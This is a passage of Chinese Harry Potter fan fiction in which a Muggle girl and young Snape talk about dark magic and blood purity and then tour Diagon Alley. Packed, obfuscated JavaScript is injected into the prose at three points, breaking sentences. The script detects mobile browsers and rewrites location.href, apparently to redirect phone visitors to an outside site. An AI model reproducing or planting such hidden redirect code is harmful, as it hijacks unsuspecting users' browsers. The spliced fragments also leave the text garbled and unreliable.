“黑魔法之所以叫黑魔法,”他缓缓开口,“不只是因为它的效果。还因为它会……改变使用它的人。有些魔法,用过之后,你会感觉到那种力量,那种——掌控感。它会让你想要更多。就像……” 他顿住了,在找一个合适的比喻。 “就像喝酒?”阿斯特丽德接话,“第一口很难喝,但喝多了就离不开,最后变成一个趴在酒瓶上的醉鬼?” 斯内普的表情微妙地扭曲了一下——大概是因为这个比喻让他联想到了托比亚。 “不完全一样。”他说,“更像是……你手里有了一把刀。一开始你只用它切面包,后来有人欺负你,你用它自卫。再后来,你发现拿着刀的时候,别人看你的眼神不一样了——他们怕你。然后你就会想,为什么不一直拿着呢?为什么要放下?” 他看着她,黑沉沉的眼睛里有什么东西在闪烁。 “然后有一天,你会发现你忘记怎么不用刀生活了。” 阿斯特丽德认 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17334576|199227||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 真听完,然后点点头,“那,”她说,“你会忘记吗?” 斯内普没有回答。 下午茶的最后,阿斯特丽德托着腮,望着对面那张阴郁的脸。夕阳从窗户斜射进来,把他半张脸照得发亮,另外半张脸沉在阴影里。那种明暗对比,让他整个人看起来像一幅不太开心的油画。 “还有一个问题。”她说。 斯内普抬起眼皮看她——意思是“你问吧,反正我也拦不住”。 “如果巫师界真的更加信奉纯血论,”她的语气很平和,“那么比起麻瓜种巫师,麻瓜本身才应该是更被看不起的存在吧?毕竟麻瓜种巫师好歹还有魔力,麻瓜可是什么都没有。” 她盯着他的眼睛:“那么为什么巫师们不直接对麻瓜社会发动战争,或者奴役麻瓜?反而要自己掩藏存在痕迹,隐秘生活?” 她没有等他回答,继续说下去:“是不是现在的巫师已经无法真的与麻瓜对抗,只能求同存异、和平共处?那在这样的大趋势下,巫师坚守的纯血理论有什么实际意义吗?” 斯内普的茶杯停在半空中。 他看着阿斯特丽德。那张脸上没有嘲讽,没有试探,只有一种纯粹的、几乎是学术性的好奇。她并非在质问他或是挑战他,只是在问一个问题——一个他从来没想过、也从来没听任何人问过的问题。 巫师为什么不奴役麻瓜? 为什么不直接占领这个世界? 为什么要把自己藏起来,躲在那个大多数人永远无法触及的角落里? 答案其实一直摆在那里,只是从来没有人愿意说出口。 因为——打不过。 打不过那个可能性——那个一旦暴露,麻瓜们会用他们那些没有魔法的、但足够毁灭一切的方式,把巫师从这个星球上抹去的可能性。 核武器。她提过的,那个能让整个地球变成废墟的东西。 黑魔王再强大,能一个人对抗全世界吗?能在一颗被辐射污染、没有氧气的星球上活下去吗? 不能。 所以巫师只能藏起来,只能制定《保密法》。只能假装自己不需要这个世界,而这个世界也不知道他们的存在。 这是一个心照不宣的秘密——巫师界的至高无上,是建立在麻瓜的不知情之上的。一旦知情,那个脆弱的平衡就会被打破。 而纯血理论…… 纯血理论有什么意义? 意义就在于让那些古老的家族相信,他们之所以要藏起来,不是因为他们弱,而是因为他们高贵。他们不是打不过麻瓜,是不屑于与麻瓜为伍。他们不是被迫隐居,是主动选择了与这些低等生物保持距离。 一个体面的谎言,一个让所有人好过的故事。 斯内普慢慢放下茶杯。他的手指在杯沿上停留了片刻,然后收回去。 “你问的问题,”他说,声音比平时慢,“没有答案。或者说,有,但没人愿意承认。” 他的目光从她脸上移开,落向窗外那条正在暗下去的街道。几只乌鸦在电线上排成一排,像五线谱上几个不和谐的音符。 “巫师人数少,这是你说的。麻瓜人数多,这也是你说的。麻瓜有办法毁掉整个世界——这还是你说的。”他的语气带着一丝讽刺,但那讽刺不是冲她的,“所以巫师能怎么办?冲出去说‘我们在这儿,来打一架吧’?然后等着被那些没有魔法的、但数量是几百倍的东西淹没?” 他转回头,看着她。 “纯血理论……是一种自我安慰。让那些古老的家族觉得自己选择隐居,不是被迫,而是主动。让他们相信,自己之所以不与麻瓜通婚,不是因为怕被稀释,而是因为要保持高贵。” 他的嘴角扯出一个嘲讽的弧度。 “至于那些大家族推动这个理论的真正目的——维护阶层利益,就像你说的——你觉得他们自己不知道吗?他们知道。但知道又怎么样?能说吗?说了之后,那些靠这个理论获得优越感的中小家族,还会继续追随他们吗?” 阿斯特丽德安静地听着,下巴搁在手背上。 “所以,”她说,“就是一个——互相欺骗的局?” 斯内普沉默了一瞬。 “差不多。”他说,“但你不能这么说。说出来,就不好玩了。” 阿斯特丽德眨眨眼:“不好玩?” “巫师界,”斯内普的声音里带着一丝罕见的晦涩,“没有你想的那么……高大。它和这里一样,有谎言,有欺骗,有为了利益什么都做得出来的人。只不过——” 他顿了顿,声音轻得像一个秘密。 “——它有魔法。这一点,让很多人愿意忽略其他的一切。” 阿斯特丽德想了想,端起茶壶给他续了一杯。茶已经不太热了,但斯内普没有拒绝。 窗外,蜘蛛尾巷的夜色一点点漫上来。乌鸦飞走了,电线空荡荡地横在那里,像一条什么也没写出来的线。 7. 对角巷,我来喽 9. 或许是因为想感谢那些小玩意——那些在尖叫棚屋里没来得及用上的、让波特和布莱克在校医院躺了半个月的小玩意。或许是因为那个发生了奇特对话的下午茶——那些关于血统、关于战争、关于刀和用刀之人的话。又或许只是因为阿斯特丽德那双含着期待的、烟紫色的眼睛——那颜色让他想起那本送出去的书。 总之,在她提出“巫师也有自己的商业街吧?那是什么样子的?”时,他没有过多犹豫,就同意带她去对角巷看看了。 “可以。”他语气懒洋洋的,像一只晒够了太阳的猫,“但我得事先声明几点。” 阿斯特丽德立刻坐直了,一副洗耳恭听的样子。 “第一,跟着我,别乱跑。第二,管住你的嘴,别像个没见过世面的麻瓜一样对着什么都‘哇’。第三——”他顿眼皮微微抬起,眼里闪过促狭,“我不会为你的好奇心支付一个铜纳特。如果你看上了什么,建议你开始攒钱。从现在起,大概攒到明年这个时候差不多。” 阿斯特丽德眨了眨眼:“铜纳特?那是什么?” 斯内普的嘴角微微抽动,露出一种介于“果然如此”和“我就知道”之间的表情。 “巫师的货币。”他跟她普及这个常识,“青铜纳特,银西可,金加隆。二十九个铜纳特换一个银西可,十七个银西可换一个金加隆。” 阿斯特丽德的眼睛瞪大了,“你们巫师的数学,”她斟酌着用词,“还挺……有创意的。” “这是传统。”斯内普面无表情地说,“就像麻瓜非要用十二英寸定义一英尺,或者用三个茶匙定义一汤匙——完全没有逻辑,但所有人都习惯了,所以它就合理了。” 阿斯特丽德想了想,觉得他说得对。 “好吧。”她站起来,拍了拍裙摆,“那我回去数数我的小金库,希望到时候不会显得太寒酸。” 阿斯特丽德以为,类似于麻瓜世界,巫师的商业街应该也是每个城镇都会有的——就像高街,每条像样的街道都有一条。但当她跟着斯内普辗转来到伦敦,在那条车水马龙的大街上转了一圈,才慢慢意识到一件事: 巫师的聚居地,恐怕真的少得可怜。 “破釜酒吧?”她左顾右盼,对着川流不息的街道看了几圈,又对着那些熟悉的商店招牌扫了一遍——WH Smith,Boots,还有那家永远排队的炸鱼薯条店——“在哪?” 斯内普站在那里,双手插在裤兜里,用一种……奇怪的、近乎期待的眼神看着她。 那种眼神阿斯特丽德见过。小时候她表弟藏好了生日礼物让她找的时候,就是这副表情。一副“你肯定找不到但最后找到的时候会很哇塞”的表情。 “你倒是说啊。”她催促。 斯内普的眉毛微微挑起,那意思是:你以为我会直接告诉你? 他抬起手,指了指一家夹在书店和唱片店之间的、看起来破破烂烂的建筑。阿斯特丽德顺着他的手指看过去——那是一家她之前扫过至少三遍、但每次目光都自动滑过去的……什么? 不是书店,不是唱片店,是一家—— “破釜酒吧”四个字,就明晃晃地挂在那里。字迹斑驳,招牌老旧,但确实存在。 “我刚才怎么没看见?”她喃喃道。 斯内普的嘴角微微勾起一抹弧度——翻译过来大概是“麻瓜嘛,正常”。他迈步朝那扇门走去,走了两步又停下来,回头看她,那眼神明明白白写着:跟上,别像个第一次进城的乡巴佬一样杵在那儿。 阿斯特丽德连忙跟上去。 推开那扇门的一瞬间,她终于明白了为什么自己刚才看不见。 那感觉就像……就像有什么东西在眼前融化了一样。前一秒还是一堵灰扑扑的墙,下一秒就变成了一扇门。它一直都在,只是你看不见。 破釜酒吧里面,和外面是两种世界。 光线昏暗,空气里混杂着煤烟和某种奇怪的、说不清的香味——像是烤焦的面包混合着陈年的木桶。几张歪歪扭扭的木桌散落在各处,上面坐着穿着奇装异服的人。 阿斯特丽德努力不让自己盯着看,但目光还是忍不住往那些人身上飘。 一个戴着一顶尖顶帽子的老妇人正对着一杯冒紫色烟气的液体自言自语。角落里两个穿着暗红色长袍的男人在低声交谈,他们的袍子太长了,拖在地上积了一层灰。吧台边坐着一个驼背的、看不出年纪的人,正在用一根细长的烟斗抽烟,吐出的烟圈是蓝色的,升到半空变成各种奇怪的形状——一只鸟,一朵花,然后又散开。 然后她感觉到了那些目光。 并非所有的客人都在看他们。但有几个——特别是左边角落里那个裹着黑披肩的女人——正在用一种……神叨叨的眼神打量着他们。 阿斯特丽德在那条街上活了十多年,太熟悉这种眼神了——这是“你不属于这里”的眼神。 她忍不住靠近斯内普,在他身侧压低声音:“左边角落里那个是女巫吧?她为什么这样看着我们?未成年巫师不被允许进入酒吧吗?” 斯内普没有停下脚步,也没有放慢速度。他微微侧过头,用那种只有她能听见的、低沉的嗓音说: “她看的不是我们——她在看你。”他的语气平淡,“未成年巫师当然可以进酒吧。但未成年巫师带一个明显没穿对的麻瓜进来——尤其是在这种地方——会引起一些……好奇心。放心,她不会把你变成癞蛤蟆的,至少今天不会。” 阿斯特丽德:“……” “而且,”斯内普继续往前走,穿过那些歪斜的桌子和奇怪的目光,“就算她想,魔法部也会管的,非法变形麻瓜要蹲阿兹卡班。为了你这么一个——”他上下扫了她一眼,“不值得。” 阿斯特丽德决定把这当成某种特殊的夸奖。 他们穿过酒吧,绕过几张桌子,最后来到一个小小的、堆满垃圾桶的天井。那些垃圾桶锈迹斑斑,散发着一股说不清的味道,像是堆在这儿好几个世纪了。 斯内普停下脚步。 阿斯特丽德看着他抽出那根藏在腰侧的小木棍——魔杖——然后走向那面看起来平平无奇的砖墙。 他敲了敲。从左往上数第三块,然后横着划了两下。 砖块开始规律地后退,像有什么东西在后面把它们吸进去一样,一块一块地后退,露出一个越来越大的洞口。那洞口慢慢扩大,扩大,最后变成一道拱门,通向一条…… 阿斯特丽德张大了嘴。 那是一条蜿蜒曲折的街道。两旁的建筑歪歪扭扭地挤在一起,像是谁喝醉了之后随手搭起来的积木。但那些建筑的橱窗里—— 有一家店的橱窗里,一堆扫帚正自己飘来飘去,像是一群找不到家的鸟。另一家店的橱窗里,一堆坩埚正自己冒烟,烟的颜色是粉红色的,升到半空变成一个个心形然后消失。还有一家店——她看不清那是卖什么的——橱窗里有一只白色的猫头鹰,正用一双巨大的黄眼睛盯着她看。 街上的人穿着各种颜色的长袍,有的推着小车,有的抱着一堆包裹,有的干脆骑在扫帚上从人群头顶飞过去。那些扫帚飞得很低,几乎要擦到那些人的帽子,但没有一个人抬头看。 “哇……” 阿斯特丽德的目光依旧落在那些见所未见的事物上,嘴巴张成一个完美的O型。那个O型大到可以塞进去一个鸡蛋——或者一颗标准尺寸的金色飞贼,如果她知道那是什么的话。 斯内普站在她身侧,双手抱胸,用一种不咸不淡的、事不关己的语气说:“嗯,很精彩的反应。我敢说,佩妮.伊万斯第一次来的时候,也没能把嘴张这么大。恭喜你,创造了新的记录。” 阿斯特丽德没理他。她顾不上。 她的目光从那只白色的猫头鹰移到那堆自动冒烟的坩埚,又从坩埚移到一家橱窗里摆着的人体模型——那些模型正在自己换衣服,一件脱下来,另一件飞上去,速度快得像在表演什么诡异的脱衣舞。 “那是摩金夫人长袍专卖店。”斯内普的声音从旁边传来,“如果你打算在这儿看一天,建议你找个舒服的姿势站着。我们可以待到日落。” 阿斯特丽德这才回过神来。她转过头,正好对上斯内普那双黑沉沉的眼睛,他正露出一种“看吧,我没骗你吧”的、几乎可以称之为得意的神情。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return 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“每一根都是独一无二的。”他的语气难得的没有嘲讽,“魔杖选择巫师。如果你走进这家店,你会试上十几根,直到找到愿意跟你走的那一个。就像——” 他想了想,“——就像麻瓜的身份证。只不过你的身份证会发光、会喷火花,并且在你最需要的时候帮你把敌人炸飞。” 阿斯特丽德忍不住笑:“那我的身份证肯定是那种办错了的。什么反应都没有,只能当摆设。” 之后,斯内普明显有正事要办。他带着阿斯特丽德拐进一条更窄的小巷,最后停在一家散发着奇怪气味的店铺门口—— Slug & Jiggers Apothecary。 橱窗里摆着一些瓶瓶罐罐,里面装着颜色各异的粉末、干枯的植物、还有泡在不知名液体里的、看起来像某种动物器官的东西。阿斯特丽德决定不仔细看。 门上的铃铛响了一下,他们走进去。 柜台后面的店主——一个蓄着山羊胡的瘦削男人——看见斯内普时,眼睛亮了一下。 “斯内普先生!又来啦?上次那批货效果很好,好几个老主顾都夸呢。” 斯内普微微点头,表情没什么变化,但阿斯特丽德注意到他的下巴抬高了大概一厘米——看着就像“被认可了但假装不在意”。 “需要一批新的乌头,”他声音低沉,语速比平时快一点,“还有狼行草根,磨好的。上次那种纯度不够,但愿你们已经换了一家供货商。” 店主点头,转身去货架上拿东西。 阿斯特丽德很识趣地没有待在旁边问东问西。她绕着一排排货架慢慢转过去,目光从那些瓶瓶罐罐上扫过——干蟾蜍、蝙蝠脾脏、甲虫眼珠——她努力不去想这些东西曾经是什么活物。 同时她也努力不去想,自己喝过的那些斯内普牌感冒药和精力魔药,究竟用没用到过这些原材料。 这个念头太危险了,会破坏她今天好不容易得来的美丽心情。 斯内普和店主的交谈持续了大概十分钟。等他从柜台那边走过来时,手里多了几个小布袋。 “办完了?”阿斯特丽德问。 斯内普点点头,把那些布袋塞进袍子里:“下一站,古灵阁。” 8. 为什么还在用钢笔? 古灵阁是一座纯白色的建筑,在整条对角巷里显得格外扎眼——就像把一个银行柜台硬塞进了一堆古董店中间。门口的台阶旁站着两个穿着猩红镶金制服的……人? 不,不是人。 阿斯特丽德的脚步停住,那是她见过的最……奇怪的生物。矮小,大概只到她肩膀,但脑袋很大,手指又细又长,垂到膝盖附近。他们的脸——她尽量不让自己盯着看——鼻子长得出奇,像某种啮齿动物,但又不完全是。灰色的皮肤,尖尖的耳朵,黑色的眼睛小得像两颗豆子。 妖精。 她知道不应该当着任何一种生物的面评判对方的外形,那太不礼貌了。所以她尽力表现得不像个没见过世面的麻瓜,控制住自己的目光,不让它太过直白地上下打量。 但她还是忍不住在心里评价:鼻子比斯内普的夸张多了,个头也不怎么高。 那些妖精用那种豆子一样的小眼睛扫了他们一眼——特别是扫了她一眼——然后继续站岗,什么也没说。 阿斯特丽德跟着斯内普走进那扇青铜大门,里面是大理石铺就的大厅,高得几乎看不到顶。更多的妖精坐在高高的柜台后面,用羽毛笔在本子上记录着什么。还有几个正在用天平称量一堆金币,动作快得像在变魔术。 斯内普走向其中一个柜台,跟那个妖精低声交谈了几句,然后递过去一个布袋——就是她平时寄给他的那种,装着分成的钱。那个妖精打开布袋,倒出里面的英镑,然后用一种奇怪的仪器检查了一番,最后点了点头。 他从柜台下面拿出一个袋子,推到斯内普面前。袋子鼓鼓囊囊的,里面传出金属碰撞的清脆声响。 斯内普打开袋口,让阿斯特丽德看了一眼——金加隆,银西可,还有一些铜纳特。那些钱的数量……没她预计的多。 阿斯特丽德的眼睛瞪大了。她寄给他的分成,是英镑。他换成加隆之后,居然才这么点? 中间商赚差价? 太黑了。 “怎么了?”斯内普注意到她的表情,微微挑眉。 “没什么。”阿斯特丽德说,但她的语气出卖了她,“就是在想,以后要不要直接寄加隆给你。省得被那些妖精再剥一层皮。” “他们是剥皮的行家,”他说,“但你逃不掉。无论你寄什么,最后都得经过这儿。这是规矩。” 阿斯特丽德叹了口气。 离开古灵阁后,他们来到了摩金夫人长袍专卖店。 这家店比街上其他店看起来都要体面。橱窗里那几个正在自己换衣服的人体模特不见了——大概是换完了——取而代之的是几件剪裁精致的袍子,面料看起来柔软而有光泽,领口和袖口绣着细致的花纹。 推门进去,里面更是另一个世界。 几个穿着优雅长袍的巫师正在挑选面料。其中一个女巫的袍子上绣着银色的暗纹,走动时会反射出淡淡的光;另一个男巫的袍子则是深墨绿色的,领口别着一枚精致的胸针,上面镶着一颗微微发光的宝石。他们说话的声音都很轻,语速不快,带着一种阿斯特丽德不熟悉的气场——那大概就是“体面人”的气场。 “欢迎光临。”一个穿着淡紫色袍子、体态丰满的女人迎上来,脸上带着职业性的微笑,“需要点什么?” 斯内普微微点头。他的表情一如既往的冷沉,但阿斯特丽德注意到他的脊背挺得比平时直了一点。 “一套正装巫师袍,黑色。适合……正式场合。” 摩金夫人——阿斯特丽德猜这就是店主本人——上下打量了他一眼,目光里闪过一丝评估。然后她点点头,转身朝店里走去:“请跟我来。” 阿斯特丽德在等候区的沙发上坐下。那是一张看起来很舒服的绒面沙发,柔软得几乎要陷进去。她不知道的是,这其实是斯内普第一次来这家店。他以前都是在二手长袍店买校服的——那些袍子袖口磨得发毛,穿在他身上永远不太合身。 但他现在需要一身得体的袍子。 OWLs成绩出来了,他的魔药学拿了O。斯拉格霍恩教授肯定会邀请他参加鼻涕虫俱乐部——那个只收“有前途的、有关系的人”的精英聚会。在那里,穿着二手袍子出现,不是一个好主意。 摩金夫人拿起一根长长的银色卷尺,那卷尺自动飘起来,开始绕着斯内普的身体转圈。它量过他的肩宽、袖长,还有腰围,然后自己缩回去,把数字报给摩金夫人——那些数字都是用闪光的金色丝线组成的,在半空中停留几秒才消失。 “立领还是翻领?”摩金夫人问。 “翻领。” “扣子要几颗?” “三颗。” “口袋要斜的还是直的?” “直的。” 一问一答,语速很快,像某种仪式。那根卷尺还在不停地量着各种阿斯特丽德看不出名堂的尺寸——从肩胛骨到手腕,从锁骨到脚踝,从后颈到腰线。 阿斯特丽德坐在沙发上,饶有兴致地看着这一切。 她对于“学校有这类活动”并不觉得尴尬。她所在的中学也有类似的舞会、派对、各种名目的社交活动。她从来不去。除了因为确实不太想,还因为没有合适的衣服和舞伴,也没有合适的心情去应付那些假笑。 但这不妨碍她看别人。 量体结束后,摩金夫人去后面拿面料样本了。斯内普走过来,在她旁边的另一张沙发上坐下——隔了一个人的距离。他依旧面无表情,但阿斯特丽德注意到他的手指在膝盖上轻轻敲了两下。 紧张?不至于吧。那就是——期待? 走出长袍店的时候,阿斯特丽德随口问了一句:“你会跳舞吗?” 斯内普的脚步顿了一下,“很明显,”他干巴巴地说,“不会。” “嗯,我猜也是。”她看了他一眼,那一眼笑眯眯的,带着一点促狭:“我也不会。” 他们继续往前走。走了几步,她又开口:“要一起学吗?”那语气随意得像在说“要对对作业答案吗”,或是“要不要一起吃面包”,像在说这世界上最寻常不过的一件事。 “我们可以当彼此的舞伴,一起练习。” 斯内普的脚步停住了,他转过头看她,“你认真的?”他的语气里带着惯有的嘲讽,但那嘲讽比平时轻一点,像隔了一层纱,“你想学跳舞?” “为什么不想?”阿斯特丽德耸耸肩,“以后万一有什么正式场合,总不至于太丢人。而且——”她想了想,“跟你一起练,至少不用担心被踩到脚之后还要假装不疼。” 斯内普盯着她看了两秒。 “你踩不到我。”他说。 “那可不一定。” “我反应很快。” “那我踩得更快。” “……”斯内普的嘴角抽了抽,那大概是“我被你打败了”的意思,“行。你找个能练习的地方,我勉强——勉强——配合。” 他们继续往前走,路过一家冰淇淋店。橱窗里摆着各种颜色的冰淇淋——粉色的、蓝色的、紫色的,上面撒着会发光的小颗粒。几个穿着长袍的小孩正趴在柜台上,用勺子挖那些冰淇淋,挖出来的每一勺都是不同的颜色。 “等会儿可以来这儿。”斯内普说,“如果你不嫌贵的话。” 阿斯特丽德正要点头,目光却被旁边的一家店吸引住了。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17334578|199227||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 那是一家魔法文具店。橱窗里摆着各种书写工具,有羽毛笔、墨水瓶、羊皮纸,还有一些她叫不出名字的东西。但最引人注目的,是一支单独陈列在最显眼位置的羽毛笔。 那支笔是深蓝色的,羽毛根部的绒毛泛着淡淡的银光。它正在自己晃动——有节奏地、轻轻摆动,像是在哼着什么听不见的小曲。晃几下,停一停,再晃几下,得意洋洋的样子。 “那是什么?”阿斯特丽德停下脚步,趴在橱窗上,眼睛几乎要贴到玻璃上。 斯内普也停了下来,看了一眼那支笔,表情没什么变化,但阿斯特丽德注意到他的眉毛轻轻动了动。 “一支喝饱了墨水就得意忘形的羽毛笔。”他的语气平淡地介绍,“从它晃动的幅度来看,它今天至少喝了三杯。如果再喝一杯,它可能会开始唱歌。” 阿斯特丽德缓缓转过头,直起身子,歪头看着他:“巫师都用这种笔?” 斯内普没有立刻回答。 阿斯特丽德已然想起一件事——那些信。这些年来的通信,无论长短,无论内容,斯内普的字迹一直是用麻瓜钢笔书写的。她认得那个笔迹——有点潦草,但很稳定,字母与字母之间的间距永远保持一致。那是用她送的钢笔写出来的字。 “那你为什么没告诉我,”她问,“还用它写信?” 斯内普没有表现出什么不自在或是尴尬,他站在那里,目光依旧落在那支还在自我陶醉的羽毛笔上。 “因为,”他语气干巴巴的,像在陈述一个不重要的常识,“扔掉太浪费。而且——” 他转过头看她:“你送的东西,好歹能用。不像有些人送的礼物——比如会唱歌的袜子,或者印着魔法照片的茶杯——那些才叫真正的灾难。钢笔至少能写字。虽然写得慢一点,墨经常漏,还容易把手弄脏。但总体来说,比我想象的好。” 阿斯特丽德挑了挑眉毛:“事实上,我想着这几年下来,那支钢笔早就该退役了。正打算今年圣诞送你个更好的。” 斯内普沉默了短暂的几秒。 “更好的?” “嗯。”阿斯特丽德点点头,“本来想送一□□种——写起来很顺滑的,墨水不会漏的,笔尖不会分叉的。现在看来,可能得换个思路了。” 斯内普的目光在她脸上停留的时间比正常社交允许的长了一会儿,然后他说:“随便你。反正不管送什么,我都能用。” 紧接着他又补了一句,声音更低了:“只要别送那种会自己唱歌的东西就行。” 那支羽毛笔还在橱窗里得意洋洋地晃着,完全不知道外面的两个人在说什么。 阿斯特丽德恍惚觉得,这支笔确实有点像某个人——表面上晃来晃去、得意洋洋,实际上只是喝饱了墨水就满足了的、简单的东西。 而另外一个人,用着一支早就该退役的钢笔,写了五年的信,从来没有抱怨过一句。 “走吧。”斯内普的声音从前面传来,“再不走,冰淇淋店要关门了。” 阿斯特丽德收回目光,跟了上去。 对角巷的夕阳把一切都染成了金色。那些歪歪扭扭的建筑,飞来飞去的扫帚,穿着长袍的人群,还有前面那个走得飞快的身影,都在金色的光里变得柔和了一点。 她默默地想,今天大概是她这辈子到目前为止最奇幻的一天,比第一次看见他变出雏菊的那天还奇幻。 但最好的部分,不是对角巷,也不是会晃的羽毛笔。是那个用着她送的钢笔、写了五年信的人,终于亲口说——能用,比想象的好。 “想吃什么口味的?我请你。”她加快脚步跟上去,语气比步伐还要轻快。 9. 羽毛笔 10. 七月的阳光斜斜地洒在对角巷的鹅卵石路面上,把那些歪歪扭扭的建筑影子拉得老长。弗洛林冷饮店门口支着几把褪了色的遮阳伞,伞下的铁艺桌椅擦得很干净,坐上去也稳当。 阿斯特丽德把自己陷进那把对她来说稍微大了点的椅子里,面前摆着一个双球冰淇淋——草莓加蓝莓,两种颜色挤在一起,像是某个喝醉了的画家随手调出来的配色。她舀了一勺送进嘴里,眼睛立刻眯了起来。 好吃。不是一般的好吃。吃了还想吃。 斯内普坐在她对面,面前摆着一个单球——蔓越莓加榛子仁。那颗冰淇淋球比她的朴素多了,暗红色的冰淇淋里混杂着颗粒状的果肉和碎坚果。 但他吃得很认真,一勺一勺,不紧不慢。 阿斯特丽德的目光飘了过去。 她略过了他的脸——他的脸没什么好看的,一如既往的阴天多云——径直飘向他那颗冰淇淋球里混杂的果肉。那些蔓越莓果肉红得发亮,嵌在奶油色的冰淇淋里,像一颗颗小宝石。榛子仁碎成小块,均匀地分布在每一勺里。 她其实挺想尝尝那个味道的。 但她刚把自己的冰淇淋吃完一半,再点一个太奢侈了。她现在虽然比从前宽裕一点,但离“富婆”还有从蜘蛛尾巷到霍格沃茨那么远的距离。 于是她又看了一眼。 然后又是一眼。 斯内普的勺子停在了半空中。 他抬起头,那双黑眼睛从冰淇淋上方看过来,准确地捕捉到了她的目光轨迹。那目光轨迹的终点,是他面前的这颗冰淇淋球。 他的眉毛动了动,像发现了什么有趣的事,然后他的嘴角勾起一个弧度。那个弧度不大,但讽刺意味十足。翻译成文字大概是:你的目光已经出卖了你,杜兰特。 “需要我帮你叫一份一样的吗?”他语气平淡,拖着点懒洋洋的调子,“还是说,你打算用目光把我的冰淇淋融化,然后趁我不备偷偷舔一口?” 阿斯特丽德现在已经学会去伪存真了。 这句话的“讨人厌部分”是“偷偷舔一口”那个画面,太恶心了,她才不会干这种事。但这句话的“有效部分”是——他注意到了,并且他没有直接把冰淇淋挪开。 所以…… “所以……可以吗?”她眼睛亮晶晶地盯着他,拿着小勺子的手已经跃跃欲试地伸向他的冰淇淋球。 不。不可以。他才不是想表达这个意思。 斯内普看着她那只蠢蠢欲动的手,看着她那双亮得刺眼的烟紫色眼睛,脸上露出一种“你是不是误会了什么”的微妙嫌弃。 他放下自己的勺子,然后慢吞吞地抽出魔杖——那根藏在腰侧的、她见过无数次的小木棍——轻轻点了点自己面前那颗冰淇淋球。 一道细细的蓝光闪过。冰淇淋球的一角被精准地切割下来,大约四分之一的大小,正好带着一颗完整的蔓越莓果肉和几粒榛子仁。那块冰淇淋从球体上分离出来,轻飘飘地浮到空中,划过一道优雅的弧线,然后稳稳地落进阿斯特丽德的杯子里。 整套动作行云流水,一气呵成。 阿斯特丽德的眼睛瞪得更大了,“哦——”她拖长了调子,语气做作得像在演舞台剧,“真是慷慨又心善的巫师先生。赞美您!” 斯内普用鼻子哼了一声,意思是:少来这套。 阿斯特丽德才不管他哼不哼。她用小勺子叉起那块冰淇淋,送进嘴里。 蔓越莓的酸甜和榛子仁的香脆在舌尖炸开,混合着冰淇淋的绵密冰凉。她抿了抿嘴,认真地品了几秒。 “嗯……”她点点头,做出权威评价,“真是美味。”然后她把自己的杯子往前推了推,推到他那边:“你要尝尝我的吗?” 斯内普看了一眼那杯被挖得坑坑洼洼的、两种颜色混在一起的、卖相已经不太体面的冰淇淋。 他的表情是毫不掩饰的嫌弃,但他那只握着魔杖的手轻微动了动。又是一道蓝光,她杯子里的一小块冰淇淋被切割下来,浮到空中,划过一道弧线,落进他的杯子里。 那块冰淇淋落在他的冰淇淋球旁边,两种颜色挨在一起,像两个不太熟的邻居被迫挤在同一间屋子里。 阿斯特丽德看着那块被“邀请”过去的冰淇淋,又看看他那张依旧露出嫌弃表情的脸。 不知道为什么,她觉得这一幕比刚才他主动给她切冰淇淋的时候,还要…… 算了。不想了。吃冰淇淋。 “对了,”她舀起一勺自己的,边吃边问,“麻瓜血脉可以孕育出巫师——这个我知道了。那反过来呢?纯血家庭会诞生出麻瓜吗?” 斯内普正在研究那块新来的草莓冰淇淋。他舀了一点,送进嘴里,品了品,然后微微点了点头——那意思是“还行,可以接受”。 听到她的问题,他的动作顿了一下。 “会。”他语气一如既往的平淡,“那种人叫哑炮。生在巫师家庭,但没有魔法能力。” 阿斯特丽德想了想这个画面:一家人都是巫师,围在一起挥魔杖,只有你一个人坐在那儿,什么都做不了。 “哑炮?”她重复了一遍,“倒是很形象的比喻。” 她又挖了一大口冰淇淋,边嚼边说:“不过这样的人恐怕很痛苦吧?从小看着别人都会魔法,就自己不会。长大了也融入不了麻瓜世界,毕竟从小没在那儿生活过。两头不靠,夹在中间——” 她总结道:“挺想报复社会的吧?” 斯内普的勺子停在半空中。 他看了她一眼,眼神里是“你怎么总能猜到这种角度”的意外。 “确实有这种人。”他的语气里带着若有若无的讽刺,“比如霍格沃茨的管理员,费尔奇。一个哑炮。整天提着一把扫帚在走廊里巡逻,逮着违反校规的学生就兴奋得像猫见了耗子。他的报复方式就是——扣分,关禁闭。以及用他那双浑浊的眼睛瞪着每一个从他身边走过的小巫师,仿佛在说‘凭什么你们可以而我不行’。” 他又舀了一勺冰淇淋:“如果你问我,我会说,他比那些纯血疯子更可怜。至少纯血疯子还有魔法。他什么都没有,只有一把扫帚和一肚子酸水。” 阿斯特丽德点点头,若有所思地嚼着冰淇淋:“那他还挺不容易的。我是说,每天看着一群小孩在你面前挥舞魔杖,换我我也酸。” 斯内普极轻微地挑起一边眉毛,大约在表达“你说得对但我不会承认”。 吃完冰淇淋,阿斯特丽德没有沿着来时的路往外走,而是掉头往回走。 斯内普跟在她身后,走了几步,发现方向不对。 “那边是——” 